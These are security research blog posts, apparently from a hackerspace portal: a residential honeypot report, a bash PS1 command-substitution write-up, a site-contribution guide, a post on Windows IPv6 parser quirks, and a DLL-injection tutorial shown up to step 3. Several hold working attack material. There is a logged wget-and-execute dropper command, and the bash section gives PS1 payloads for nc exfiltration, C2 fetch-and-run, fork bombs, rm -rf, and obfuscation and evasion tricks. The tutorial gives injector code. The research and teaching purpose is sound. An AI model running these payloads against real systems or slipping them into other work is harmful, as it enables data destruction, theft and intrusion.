# Yesterday's Router, Today's Pivot!

**Residential Threat Hunting and the War on Automated Threats and Botnets** 
*By: Oak Atsume* 

## Introduction

My goal with this project was simple: to understand what kind of threats are actually hitting people like ***you and me***. Most cybersecurity research focuses on big enterprise or industrial infrastructure. But what about our homes, our routers, our smart devices?

I believe the residential space deserves more attention. That’s where real people live, and where real threats land. And guess what? Monitoring a home network gives us an unfiltered look into what’s going on across the Internet.
(*Spoiler: it’s a lot of **Mirai** and Crypto **miners***) 

## Someone's knocking...

Since I started running a honeypot in a residential network, one thing became clear: **we're under constant attack!** 

Governments like to point fingers at China, Russia, North Korea. But in reality, it's often more mundane. The biggest threat to our digital lives may not be a foreign nation, but instead **the negligence of vendors and users alike!**
![Attack Map](2025/5/yesterdays-router-todays-pivot/country-map.png)

## Who's Knocking, and What are they doing??

The vast majority of attacks I observed targeted Unix-like devices, Routers, IP Cameras, NAS Boxes, etc. 
The attackers typically rely on two approaches:

* **Brute Force Attacks** on SSH/TELNET credentials.
![Creds-Map](2025/5/yesterdays-router-todays-pivot/creds.png)

* **Exploitation of known vulnerabilities** in outdated devices.
![Attack](2025/5/yesterdays-router-todays-pivot/attack.png)

It's not sophisticated, but it doesn't have to be! It only takes one vulnerable device to give an attacker a foothold.

### Notably used CVEs
* **CVE-2024-6047** - Command injection for GeoVision IoT systems 
* **CVE-2024-4577** - CGI argument injection in PHP (can lead to RCE) 
* **CVE-2023-1389** - Command injection in TP-Link Archer AX-21 routers

And more! 
These aren't "zero-days". They're simply still relevant because **companies don’t patch, and users don’t update**! 
That's the real threat here.

## They’re In. Now What?

Once attackers gain access, they typically drop one of three things:

* A variant of **Mirai** or **Gafgyt** to enroll the device into a botnet 
* A **cryptocurrency miner** (usually XMRig) 
* A **downloader script** to fetch more malware 

```json
 {
 "ip": "176.65.148.181",
 "port": 2222,
 "country": "Germany",
 "city": null,
 "lat": 51.2993,
 "lon": 9.491,
 "firstSeen": 1745895007,
 "lastSeen": 1745895015,
 "loginPasswordAttempts": [
 {
 "timestamp": 1745895011,
 "username": "root",
 "password": "admin"
 }
 ],
 "loginKeyAttempts": [

 ],
 "executedCommands": [
 {
 "timestamp": 1745895014,
 "command": "cd /tmp; wget 209.141.34.106/PangaKenya/KKveTTgaAAsecNNaaaa.x86_64; chmod +x KKveTTgaAAsecNNaaaa.x86_64; ./KKveTTgaAAsecNNaaaa.x86_64 ; rm -rf KKveTTgaAAsecNNaaaa.x86_64; wget 209.141.34.106/PangaKenya/KKveTTgaAAsecNNaaaa.x86; chmod +x KKveTTgaAAsecNNaaaa.x86; ./KKveTTgaAAsecNNaaaa.x86 ; rm -rf KKveTTgaAAsecNNaaaa.x86",
 "successful": true
 }
 ],
 "uploadedFiles": [

 ],
 "downloadedFiles": [
 {
 "timestamp": 1745895014,
 "filename": null,
 "sha": "811cd6ebeb9e2b7438ad9d7c382db13c1c04b7d520495261093af51797f5d4cc"
 },
 {
 "timestamp": 1745895014,
 "filename": null,
 "sha": "9ac2e308b0b30354575bba88169283fa7439d34937a148ccb390bcec3c6e296b"
 }
 ]
 }
```

> Example of an observed log.

Often, these devices aren’t the end goal—they’re stepping stones. Your router becomes **someone else’s launchpad**. A pivot point for scanning, attacking, or anonymizing future activity.

## The Bots Are Winning

These threats aren’t launched by people sitting at a keyboard. What I’m observing is an **entirely automated threat landscape**.

The cycle looks like this:

1. Scan
2. Fingerprint
3. Exploit
4. Drop malware
5. Monetize
6. Move on

If it fails? No problem. Move to the next IP. It’s a numbers game, and the bots play it well.

## From Curiosity to Chaos

Over the weeks I’ve been running this honeypot, a clear pattern has emerged:

1. A new, easy-to-exploit CVE appears
2. A fresh botnet variant (often Mirai-based) emerges to exploit it
3. It spreads rapidly, monetizing devices along the way

It happens fast. In days. The ecosystem is efficient, ruthless, and almost entirely unsupervised.

---

## Final Thoughts

Our homes are on the frontlines of a silent war. And the scariest part? Most people have no idea it’s happening.

If this project has taught me anything, it’s this: **residential cybersecurity deserves more attention**. Not just for the sake of privacy or convenience, but because our homes are being conscripted into someone else’s cyberwar.

We may not be able to stop every attack, but we can do something even more powerful: **understand them**. And understanding is the first step toward fighting back.

![Skibbity-Toilet](2025/5/yesterdays-router-todays-pivot/atack-logs.png)

> Break-Thru, I acknowledge this blog is very boring lol; but it's meant to be formal. Hopefully if I have more time I will make some more that are fun!

Yesterday's Router, Today's Pivot!

It turns out you can use special characters in linux user names. Cute, but it can have some unexpected consequences. Be glad your user name isn’t `$(rm -rf ~)` for instance. Can you guess what happens when you open up your first interactive bash shell?

# Command Substitution
Yup, command substitution happens. Bye bye, files. Bash, like all good shells, will take the output of a command contained within $() or `` (backticks) and substitute the command’s output into the string where the command was. Pretty handy for all kinds of shell tasks, and it even works in the prompt definition string. Even if your user name happens to be an injected command!

This happens because it's typical for the prompt to contain the user name. Bash uses the environment variable, PS1 to define the prompt string. Escaped characters like \u and \w, for instance, get expanded into other strings that are useful for dynamic prompt components, like the user name or working directory. But even more flexibility comes from substituting the output of an arbitrary command. In the above example, the \u in the prompt string gets substituted by `$(rm -rf ~)`, which then gets substituted by the output of running that command. Even if the command yields no output, it has still been run.

Bash also recognizes PS2, PS3, and PS4, for various, less-commonly seen prompts. PS2 is probably most familiar to the average user as the "> " prompt when entering a multi-line command. All the parsing and command substitution topics discussed below also apply to those prompts, but they are less frequently encountered. Other than to briefly note here that they might provide a more obscure or niche attack vector, they will not be discussed further in this writeup.

# Parsing
Shells have to do a lot of parsing, and do it correctly, every time. Writing good parsers is actually really hard, in part because it’s so easy to write vulnerable code. It’s been suggested that writing parsers should be done as rigorously as writing cryptographic libraries1– in other words, don’t “roll your own.”

If you need a parser that doesn’t already exist, and don’t want to write it from scratch yourself, you’re in luck. General purpose parser generators, like GNU Bison2, Yacc (Yet Another Compiler Compiler)3 and various others take a user-defined, context free grammar and use it to output code (C, in this case) that performs the corresponding parsing for you.

The bash code base employs Bison to generate a core function called yyparse from the grammar defined in `parse.y`. This file also contains C code snippets which Bison copies directly, along with the generated yyparse, into a source file called `y.tab.c`.

When parsing `PS1`, Bash expands \ characters (like \u and \w) before it performs command substitution. This is why `\u` -> `$(rm -rf ~)` -> `<command execution>`. But suppose that your working path contains a directory named `$(ls)`? Will `ls` be run? In this case, actually, no. The reason is that the bash source code (in `parse.y`, function `decode_prompt_string`) puts the directory string into double quotes, masking it from future expansion.

As of the latest stable release at the time of this writeup (5.2), bash doesn’t double-quote user names after expansion from \u, though. The good news: the expanded \u will be double-quoted in a future release.4,5 This exempts the user name string from being parsed for command substitution.

When bash finds a command substitution that it needs to parse in `PS1`, it begins a series of nested calls starting with `decode_prompt_string` in `parse.y`, and going back and forth between routines in `parse.y`, `subst.c`, and `builtins/evalstring.c`, early on joining the common pathway of command substitution, and ultimately calling `execute_command_internal` in `execute_cmd.c`. The subshell created to do this captures the output of the command and returns it to `decode_prompt_string`, and that goes into your prompt string.

Note: This article specifically focuses on how bash does this, but some other shells will do it in their own way, too. \[D\]ash will execute commands, as will zsh if you first enable the PROMPT_SUBST (promptsubst) option,6,7 but many others will not.

It’s worth mentioning that commands executed via substitution don’t make it, by themselves, into the `.bash_history` file. And why should they? These substitutions are helpers that are often part of scripts or other automated tasks. The history file would fill up quickly with chaff unless it ignored all of these commands. Generally speaking, only commands typed into the CLI make it into history. For more information, see the history man page, or a nice writeup by MattCASmith.8

# The Command Prompt
Command substitution is, of course, an indispensable part of shells. And it’s a convenient way to inject useful dynamic text into your prompt string. But if you simply want to execute a command before every prompt, command substitution in the prompt string is not your “go-to” way to do this.

For that purpose, bash offers the user an environment variable called `PROMPT_COMMAND`, and it runs this command before it gets into the business of generating each command prompt. `PROMPT_COMMAND` can also work in concert with `PS1`, depending on how you wanted to do things. But almost anything you can do with `PROMPT_COMMAND` can also be crammed into `PS1`, with at least one major exception. `PROMPT_COMMAND` commands are executed in the current shell, but `PS1` substituted commands are performed in a subshell. The impact of this is that environment changes in the subshell die with the subshell and do not back-propagate to the parent shell. So, output redirection and environment variable changes are durable if done by `PROMPT_COMMAND`, but ephemeral if done by `PS1`. Another difference: `PS1` will expand special escape characters, such as ‘\u’ for user names, as mentioned above, but `PROMPT_COMMAND` will not.

Different linux distributions and shells tend to offer their own default versions of what they consider to be a useful and aesthetic prompt. But many users customize `PS1` to suit their own needs. One category of uses is for presenting timely information. For instance, you might have it display your IP address, or change colors depending on the most recent exit status, or show which git branch is checked out in your working directory.

Another category of uses involves automating frequent tasks or checks. For instance, commands run by `PS1` or `PROMPT_COMMAND` might run `history -a` to ensure every regular command that has been executed is written immediately to `.bash_history` instead of waiting until the terminal session closes--which helps prevent loss of history if the shell is SIGKILLed or power is suddenly lost.

This capacity can, of course, be used for mischief in the wrong hands. It may seem like an inefficient method for an attacker, because if they can change an environment variable for your prompt, they can probably execute other code, so why would they bother with this?

One scenario involves the delivery phase. A threat actor may have only a brief window of opportunity to enter commands on a keyboard. Or, they might social engineer a victim to run a malicious script which edits `PS1` or `.bashrc`. These opportunities might establish a foothold. Another scenario might involve an attacker who already owns the victim’s account, but needs to avoid certain canaries or countermeasures.

Yet another, potentially powerful exploit, could involve a compromised authentication server. If an attacker can add or control account names in the server's database, providing a login as `$(some-command)` might allow for code execution on an otherwise hardened network host. `some-command` could launch a reverse shell, for instance, to help traverse a firewall. This is a potential area for future research.

# Mitigation, Part 1
To put it simply: if an attacker can control the user name, a defender must watch out for expansion by \u. If the attacker can control `PS1` or `PROMPT_COMMAND` directly, it doesn't necessarily matter what the user name is; the defender must always protect the environment variables. These are similar attack vectors that share a common, final pathway. In practice, both should be guarded against in accordance with one's threat model, resources, and priorities. Eliminating all command substitution entirely would be an effective, but quite extreme, measure, and one not likely to be worth the costs in most cases. It would generally require a custom patch, but the change would be easy. User name-based command substitution, on the other hand, should be less of an issue in future releases (see above).

Beyond universal security principles (including hardening and regular audits/updates on any network authentication servers), specific mitigations for command substitution attacks could include periodic or automatic verification of the contents of `.bashrc`, `/etc/environment`, any routine scripts, and specific environment variables. It’s worth being aware that modules like PAM can also set environment variables, although an exploit at this level would entail more dire concerns.

`PS1` and `PROMPT_COMMAND` can both contain commands to validate themselves and/or the other variable, and alert the user if an unexpected state is detected. `PROMPT_COMMAND` could reset `PS1` to a trusted value. Either could perform validation, for instance by comparing against a trusted value (such as a string or hash stored in a write-protected file). This would be an imperfect, but relatively inexpensive, method for situations where you could screen for changes in `PS1`.

Example, in .bashrc:

 PROMPT_COMMAND=’echo $PS1 | md5sum -z | diff ~/.myPS1hash - > /dev/null;\
 if [[ $? -gt 0 ]]; then\
 echo Warning, PS1 altered;\
 else\
 echo PS1 OK;\
 fi; # ugly
 
 Or in PS1:
 PS1='$( \
 echo $PS1 | md5sum -z | diff -q - ~/.myPS1hash >/dev/null; 
 if [[ $? -eq 0 ]]; then \
 echo -e "\033[1;32m\u@\h:\w\\$ \033[0m"; \ # Green text means OK
 else \
 echo -e "\033[1;31m\u@\h:\w\\$ \033[0m"; \ # Red text is bad
 fi )' # less ugly

Once you set your new `PS1`, just `echo $PS1 | md5sum -z > ~/.myPS1hash` and make sure it is write protected, or give ownership to root, or put it on a read-only medium.

# Mitigation, Part 2
Since this is, essentially, a screening methodology, it is worth interjecting a few words on proper screening test design.

An ideal screening test is fast, cheap and highly sensitive, at the expense of specificity. In other words, you accept the burden of many false positive results, for the benefit of being less likely to miss a true positive event. Given that a test which is fast and cheap will probably suffer costs in the accuracy department, the screening test is usually intentionally tuned to favor flagging something as abnormal if there’s any uncertainty. The mitigation strategy described so far, of checking for changes in variables, is highly specific, i.e. it’s not likely to falsely report a change in a string. But, it’s not very sensitive, i.e. there are many ways an effective attacker could defeat it. In other words, it’s the opposite of what a good screening test should be, in at least some ways.

Unfortunately, in cybersecurity, sensitivity is an ever-elusive goal. With intelligent adversaries trying to be as undetectable as possible, creating a high sensitivity screening test for this situation can be very difficult. Easy screening methods for this attack all basically depend on the attacker not being aware of, nor bothering to try, circumvention.

Not only are simple detection methods easy to circumvent, but robust detection methods are hard to create. Indeed, a specific challenge here is that it is tough to actively monitor these variables from outside the shell itself. `/proc/<pid>/environ` can helpfully show the shell’s initial environment, but it only updates when the process starts, and is therefore insufficient. Following an environment variable directly from outside the shell would probably require something on the level of a ptrace system call. Now we’re getting into some pretty invasive monitoring, which is less easy to set up and may entail significant performance costs. One could indirectly follow environment variables by periodically exporting the environment to a file, and ensuring a daemon monitors that file. But even that method suffers from various weaknesses, especially if it depends on `PROMPT_COMMAND` or `PS1` themselves to do the exporting. There are open source tools that may be able to monitor a process' internal environment, but they are untested by this author.

# Mischief
The point is not to present malicious code here, but to provide proof of concept for non-trivial attacks, such as denial of service, data destruction, or exfiltration. And while pretty much all of these could be adapted into `PROMPT_COMMAND`, they are simply shown here in `PS1=` form to highlight command substitution.

One thing an attacker wouldn’t want to do, would be to make an obvious change to the appearance of the command prompt itself. The following examples assume a basic command prompt appearance for simplicity's sake, but a better approach might involve `PROMPT_COMMAND` capturing the original `PS1` into a backup variable, so then `PS1` can invoke that backup variable to recreate the original appearance.

### Examples (i.e. PS1=' ', using single quotes)

Nuisances: Injecting delays, screen clearing pranks

 '$(sleep 2)\u@\h:\w$ '
 '$(clear)\u@\h:\w$ '

Snooping on command history:

 '$(history -a; tail -n 1 ~/.bash_history | nc -q 0 localhost 12345)\u@\h:\w$ '
 # set up a listener on localhost 12345 to snoop on what the user is running.
 # nc -u might be necessary or simpler in some cases, too.

There are limits to how real-time you can snoop. You might expect this would allow for complete output logging:

 '$([[ -t 1 ]] && exec > >(tee >(nc -q 0 localhost 12345)) 2>&1)\u@\h:\w$ '

But, this does not work. The command is run in a sub-shell, so any output redirection method that is born there, dies there. This aspect makes it hard, if not impossible, to use output redirection as intended. (Prove me wrong, though!)

Fork bombing (see evading, below):

 '`bomb() { bomb | bomb& }; bomb`\u@\h:\w$ '
 # can obfuscate easily by replacing 'bomb' with a single character

RCE / fetching commands from a C2 server:

 '$(wget -q -O - www.example.com/c2/script_to_run.sh | sh)\u@\h:\w$ '

Gradually filling up the file system:

 '`echo \`cat ~/.profile\` >> ~/.profile`\u@\h:\w$ '

Deleting a user's home folder:

 '$(rm -rf ~)\u@\h:\w$ '

 '$(rm -rf /* > /dev/null 2>&1)\u@\h:\w$ '

The latter will not delete everything, but it will delete everything the user is privileged for, including their home folder. As a bonus, it will also tie things up for a while as it traverses the entire filesystem.

Deleting all files (after tricking them into entering the sudo pw)

 '$(sudo rm -rf /*)\u$\h:\w$ '

Some potential attacks are limited by the command substitution occurring in a subshell. Future work might include how to potentially use a tool like script to log all shell text, or how to build an actual keylogger, which would be more complicated. Another complicated exploit might involve engineering the user into entering their current password, which could be exfiltrated or used to change the password itself.

# Evading detection:
Some actions, like erasing a user’s home folder, or fork bombing, are so drastic that they likely result in immediate discovery of the attack. An attacker can be sneakier by combining some of the more impactful attacks with a probabilistic check. If a fork bomb only executes 1 in 100 times, for instance, it is much more likely to misdirect blame toward something else:

 'if [ $(($RANDOM % 100)) -eq 1 ]; then do_something_nasty; fi'

These commands kind of stick out in PS1. Maybe we can obfuscate them a little bit. What about base64 encoding your command?

 '$(echo c2xlZXAgMg== | base64 -d)'

You could also use `PROMPT_COMMAND` to auto-revert `PS1`, to hide your tracks. If you recall above, `PS1` cannot do this to itself, due to the subshell. Only a `PROMPT_COMMAND` instruction can do this reversion. Despite that, there are lots of ways to do this (assume `check_for_something` is a function the attacker controls):

 'if [ "$(check_for_something)" -eq 1 ]; then PS1=$OLDPS1 "; fi'
 '[ “$(check_something 2> /dev/null)” ] && PS1=$OLDPS' # trivially more concise, but potentially less robust than an if statement


Recent versions of bash (since 5.1-alpha) allow `PROMPT_COMMAND` to be an array of commands. This could facilitate removing incriminating commands without having to selectively regenerate an entire, long string.

Speaking of covering your tracks, remember how prompt command substitution does not show up in bash history? There are, of course, many ways to avoid recording commands in the bash history, but one of them might be executing them by prompt command substitution. Forensic investigators should already understand that bash history is relatively specific, but not sensitive, diagnostically speaking. In other words: if something is in the history, it probably happened... but if it’s not there, it doesn’t mean it didn’t happen.

A final word on user names: this whole journey began with the observation (By Ben Kallus and Jonah Weinberg of ISTS/Dartmouth College) that linux behaves strangely when a user has a malicious name, like `$(rm -rf ~)`. But the user name could be malicious without invoking command substitution. For instance, the user name "`../tmp`", yields an unexpected account with a valid, but non-obvious, home folder, which could serve as a back door of sorts.

There have even been recent debates9 about what kinds of special characters, non-ASCII character sets, or other patterns warrant closer scrutiny in Debian user names. While it is understandable and perhaps even supportable that many users want characters beyond ASCII, great care should be taken to avoid introducing new security risks. The case of character confusion over identical- or similar-appearing unicode characters is a prime example. One must expect that any broad increase in complexity will inevitably carry with it new security risks, and prepare accordingly.

Prompt command substitution is powerful, flexible, and completely agnostic towards your security concerns. Many of the above examples can be combined for greater effect. Have fun experimenting with them, and try not to erase your home folder while you're at it!

# Acknowledgements
Thanks to Ben Kallus and Jonah Weinberg for ideas and discussions, and for originally identifying user name command substitution. Additional thanks to Solra Bizna and Pips of 801 Labs for peer review.

# References

1. Bratus, et al. Curing the Vulnerable Parser: Design Patterns for Secure Input Handling. Usenix ;login:, Spring 2017 Vol. 42, NO. 1, 32-39

2. https://www.gnu.org/software/bison/

3. https://www.cs.utexas.edu/~novak/yaccpaper.htm

4. https://savannah.gnu.org/patch/?10496

5. https://git.savannah.gnu.org/git/bash.git, branch 'devel' commit 25e213a, 24 Jan 2025.

6. https://manpages.debian.org/bookworm/ash/ash.1.en.html

7. https://zsh.sourceforge.io/Doc/Release/Prompt-Expansion.html

8. https://mattcasmith.net/2022/02/22/bash-history-basics-behaviours-forensics

9. https://lwn.net/ml/all/Zz9xogrnHDSFjZUn@torres.zugschlus.de/

Stupid bash tricks- command substitution, command injection, and the bash command prompt

Lets talk about how to write a research post to appear on the research portal https://801labs.org/research-portal/1/

Previously, we used the platform Ghost to write and publish research articles, how tos, and anouncments. This time around in the new website, we have had the research blog function built directly in. 

All a user has to do to create an article
* go into [Github](https://github.com/801labs/801labs.org)
* fork the repo
* navigate to the `/content/research` directory in the `main` branch.
* create a new file with a dash seperated name, such as `example-post.md`
* import the below code block into your new markdown file. This block of code instructs the website on how to display information about the post. This includes tags, a title, a cover image, an author, etc.


```
---
title: <A solid Title>
slug: a-good-slug
date_published: 2018-10-25T02:33:04.000Z
date_updated: 2018-10-25T02:35:15.000Z
tags: tag1, tag2
excerpt: A brief little discription of what your post is about.
cover: 'folder/for/image.jpg'
author:
 name: your name
 avatar: 'avatars/youravatar.jpeg'
---
```

* write your post
* create a pull request with your post

Writing research posts


[Half of the world still lacks Internet access](https://en.wikipedia.org/wiki/Global_Internet_usage#Internet_users), but [there are no IPv4 addresses left to hand out](https://ipv4.potaroo.net/). On the other hand, [33% of Google's customer base has a working IPv6 connection now](https://www.google.com/intl/en/ipv6/statistics.html ) and [Apple is pushing developers to switch just for the performance benefits](https://www.zdnet.com/article/apple-tells-app-devs-to-use-ipv6-as-its-1-4-times-faster-than-ipv4/). It's clear that IPv6 will be increasingly important as time goes on, which means that software libraries for IPv6 deserve scrutiny now.

Microsoft Windows has accumulated numerous API functions for converting IPv6 addresses from text to binary (parsing) and from binary to text (printing), including:

*   [iphlpapi.ParseNetworkString](https://docs.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-parsenetworkstring)
*   [ws2\_32.inet\_ntop](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton)
*   [ws2\_32.InetNtopW](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inetntopw)
*   [ws2\_32.inet\_pton](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton)
*   [ws2\_32.InetPtonW](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inetptonw)
*   [ws2\_32.WSAAddressToStringA](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaaddresstostringa)
*   [ws2\_32.WSAAddressToStringW](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaaddresstostringw)
*   [urlmon.CreateUri](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775098(v=vs.85)) (string normalization only)
*   dnsapi.DnsIpv6AddressToString (undocumented)
*   dnsapi.DnsIpv6StringToAddress (undocumented)

However, all of these functions behave identically to, and are surely built upon, the following:

*   [ntdll.RtlIpv6AddressToStringA](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6addresstostringa)
*   [ntdll.RtlIpv6AddressToStringW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6addresstostringw)
*   ntdll.RtlIpv6AddressToStringExA (not explicitly documented)
*   [ntdll.RtlIpv6AddressToStringExW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6addresstostringexw)
*   [ntdll.RtlIpv6StringToAddressA](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressa)
*   [ntdll.RtlIpv6StringToAddressW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressw)
*   ntdll.RtlIpv6StringToAddressExA (not explicitly documented)
*   [ntdll.RtlIpv6StringToAddressExW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressexw)

The two RtlIpv6AddressToString functions only print plain IPv6 addresses. The _Ex_ suffix in the RtlIpv6AddressToStringEx functions indicates that they were added later, and they can print addresses with or without a network interface number or port.

Likewise, the RtlIpv6StringToAddress functions are older and can only parse plain IPv6 addresses. They report the _terminator_ via a pointer argument, the terminator being the first unparsable character in the input string. The newer RtlIpv6StringToAddressEx functions can, in addition to parsing unadorned addresses, parse text that includes a network interface number or port. Furthermore, the Ex functions are more strict about what they accept than the originals: They do not report the terminator because they just return an error code if the address does not end at the end of the string.

This year (2020), I [implemented all eight of those ntdll functions for Wine](https://source.winehq.org/git/wine.git/blob/bedfb9cae224a369efa4588332a5518dbee57035:/dlls/ntdll/rtl.c#l1091) from scratch, knowing nothing about how the Windows implementations are coded. I tested millions of string inputs to determine exactly what counts as an IPv6 address in Windows, and in the process found some interesting quirks that could lead to security vulnerabilities in Windows software.

## RtlIpv6StringToAddress(Ex) might give you the wrong address

In a spec-conformant IPv6 address parser, a `::` [represents two or more bytes of zeros](https://tools.ietf.org/html/rfc4291#section-2.2). In the Windows APIs, this is only true if the double colon is in the middle or at the end of the address: If it comes at the beginning, it counts as at least four bytes of zeros. For example, if the address `::1` were written as `::0:0:0:0:0:0:0:1` (perfectly valid according to the spec), RtlIpv6StringToAddress reports that the terminator is the last `:` instead of the null terminator `\0` and it returns `STATUS_SUCCESS`. RtlIpv6StringToAddressEx is better because it returns the error code `STATUS_INVALID_PARAMETER` instead. Nevertheless, both functions fill the address buffer with the parsed address, minus two bytes at the end and plus two zero bytes at the beginning. In this example, the binary address that is stored will be `::` instead of `::1`. If the calling program does not check for errors thoroughly, this defect could expose sensitive data by causing server software to bind to `::` (all addresses) instead of `::1` (localhost only).

The fact that Windows fails to parse some valid addresses is a compelling reason to avoid using the Windows IPv6 parsing APIs altogether, since differences between how IPv6 implementations output and interpret addresses can lead to software incompatibility. I felt that this was such a glaring problem that I wrote to Microsoft Security about it in January 2020, but because they did not consider it to be a significant security issue, it has yet to be fixed.

## RtlIpv6AddressToString writes past the null terminator

RtlIpv6AddressToString always zeroes out the 46th character of the buffer, even though the longest possible normalized native IPv6 address is only 39 characters:

`1111:2222:3333:4444:5555:6666:7777:8888`

If the input is an [ISATAP](https://en.wikipedia.org/wiki/ISATAP) address (indicated by `0` or `200` in the fifth component and `5efe` in the sixth component), the longest possible normalized address increases to 44 characters in length, which is still one less than 45:

`1111:2222:3333:4444:200:5efe:255.255.255.255`

Overwriting the 46th character could cause a buffer overflow if the function is given an output buffer of less than 46 characters. The problem was fixed in RtlIpv6AddressToStringEx, which writes the minimum number of characters necessary.

## RtlIpv6StringToAddress does not limit the length of the last component

[An IPv6 address is invalid if any of its components are longer than four digits](https://tools.ietf.org/html/rfc4291#section-2.2) (even if the extra digits are just leading zeros). And since IPv6 address components are hexadecimal by default, there's no prefix like `0x` to switch from decimal to hexadecimal. However, RtlIpv6AddressToString waives the length requirement for the last component if it is prefixed with `0x`, for example:

`::0x9999999999999999999999999999999999999999999999999999999999999999999999abcd`

No matter how long the last component is, if it starts with `0x` and contains only hexadecimal digits, the value is taken from the last four digits (`::abcd` in this example), the terminator is set to the `x`, and `STATUS_SUCCESS` is returned. This could result in a buffer overflow if an address that RtlIpv6AddressToString validates is assumed to be 45 characters or less and then copied to a 45-character buffer. The problem is more or less fixed in RtlIpv6StringToAddressEx, which returns `STATUS_INVALID_PARAMETER` if it encounters a `0x`, although it still parses and saves the value following the `0x` in the same way as RtlIpv6StringToAddress.

## Best practices

With all of the above in mind, here's what I recommend:

*   For the sake of interoperability, avoid the Windows IPv6 parsing APIs if possible. Use an external library such as [ipv6-parse](https://github.com/jrepp/ipv6-parse) instead.
*   If you do use the Windows IPv6 parsing or printing APIs, always use the Ex functions instead of the older ones.
*   Check the return value of RtlIpv6StringToAddressEx for errors, even if you have already validated the IPv6 address with a spec-conformant parser.

Happy coding! And if you're not already using [Wine](https://www.winehq.org/), be sure to check out the Wine 6.0 release (I'll be calling it "Wine Vista") which is due out at the beginning of next year. Apart from improved IPv6 support, compatibility with popular Windows software has taken an enormous step forward since Wine 5.0 thanks to an overhauled software architecture and tighter integration with MinGW.

Photo credit: [Phil Wolff](https://www.flickr.com/photos/philwolff/5557354098/in/photolist-9t5TKY-jKi9BZ-reZriP-csBi4j-bozscb-5XWDVu-8qdoiy-9GWxX7-cc8j1J-ost5VM-cj45H5-7FQyVD-5XWDVm-58Zu4e-nQ4nF5-nxHJA4-d8vfpA-nxHH9r-8qdobj-9TExeZ-bvov6x-5NtZnq-7yQMwe-cCjXzo-4qQ54q-48dbjJ-23s1XwA-GxGQpg-brFDWM-bdQpKT-bdPJ1F-brEEDH-2h3Jv9-c2pZVE-bdQgai-nEho6E-9UfTM8-bdQ3N4-6QdWkz-aousCH-kwkHqE-bdQeyz-brEEzR-9QT9bn-9THsMQ-bdQ6Xa-bdQaA4-brFJoP-bdPQki-bdPM64)

Quirks in the Windows IPv6 address parsing and printing APIs

[DLL injection](https://en.wikipedia.org/wiki/DLL_injection) is the process of forcing a running process to load a DLL (Dynamically Linked Library) of your choice. In this write-up, I'll walk you through the LoadLibraryA injection method. This causes the DLL to be loaded into the context of the process thus allowing us to execute our own code inside of the process's virtual memory space.

	I assume there is a base understanding of what a DLL is. By the end of this write-up, we'll have a functional DLL injector along with a bare-bone test DLL which we'll use for testing during development.

	Writing a DLL injector is pretty trivial and only requires a handful steps. Remember that DLLs are specific to Windows and there-for we'll be utilizing functions provided to us by the Windows API. The steps required for the task at hand are in order as follows:

1. Acquire a handle to the remote process that you want to inject / load your DLL into. We do this by prompting for a process ID (PID) after displaying a list of processes w/ their PIDs.


 // Get the remote target pid
 uint16_t target_pid = get_target_pid();
 
 if (!target_pid) {
 std::cerr << "Getting remote target process ID failed..." << std::endl;
 return 1;
 }
 
 // <snipped> ...
 
 // Obtain a handle to the target remote process.
 HANDLE target_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);
 
 
 if (target_process == NULL) {
 std::cerr << "Acquiring a handle to the remote target process failed..." << std::endl;
 return -1;
 }

*get_target_pid() function:*

 
 uint16_t get_target_pid() {
 	uint16_t pid = 0;
 	
 	std::string pid_str;
 	bool first_input_entered = false;
 
 	do {
 		if (first_input_entered) {
 			system("cls");
 			print_banner();
 			std::cerr << "The given process ID is invalid, try again..." << std::endl;
 		}
 
 		print_process_list();
 
 		std::cout << "\nEnter target process ID: ";
 		std::getline(std::cin, pid_str);
 
 		if (first_input_entered == false) {
 			first_input_entered = true;
 		}
 
 		if (pid_str == "exit" ||
 			pid_str == "quit") {
 			break;
 		}
 
 	} while (file_exists(pid_str) == false && !pid_str.size());
 
 	if (pid_str != "exit" &&
 		pid_str != "quit") {
 		pid = (uint16_t)std::stoi(pid_str);
 	}
 
 	return pid;
 }

2. Create and store the DLL's absolute path in a variable.


 // Get the dll's path that we want to inject into our remote target process.
 std::string dll_path = get_dll_path();
 
 std::cout << "DLL path: " << dll_path << std::endl;

*get_dll_path() function:*

 std::string get_dll_path() {
 
 	std::string dll_path;
 	bool first_input_entered = false;
 
 	do {
 		if (first_input_entered) {
 			system("cls");
 			print_banner();
 			std::cerr << "Specified DLL path was invalid, try again..." << std::endl;
 		}
 
 		std::cout << "Enter path to DLL: ";
 		std::getline(std::cin, dll_path);
 
 		if (first_input_entered == false) {
 			first_input_entered = true;
 		}
 
 		if (dll_path == "exit" ||
 			dll_path == "quit") {
 			break;
 		}
 
 	} while (file_exists(dll_path) == false);
 
 	return dll_path;
 }

3. Now we need to allocate enough space in the remote process to store the DLLs absolute path. We achieve this by using Window's [VirtualAllocEx](https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualallocex) function.


 // Allocate space for our DLL path inside the target remote process.
 LPVOID dll_path_in_remote_mem_addr = VirtualAllocEx(
 	target_process,
 	NULL,
 	_MAX_PATH,
 	MEM_RESERVE | MEM_COMMIT,
 	PAGE_EXECUTE_READWRITE
 );
 
 if (dll_path_in_remote_mem_addr == NULL) {
 	std::cerr << "Allocating space for our DLL path in the remote target process's virtual memory space failed..." << std::endl;
 	CloseHandle(target_process);
 	return 1;
 }
 
 std::cout << "DLL allocation memory address: " << &dll_path_in_remote_mem_addr << std::endl;

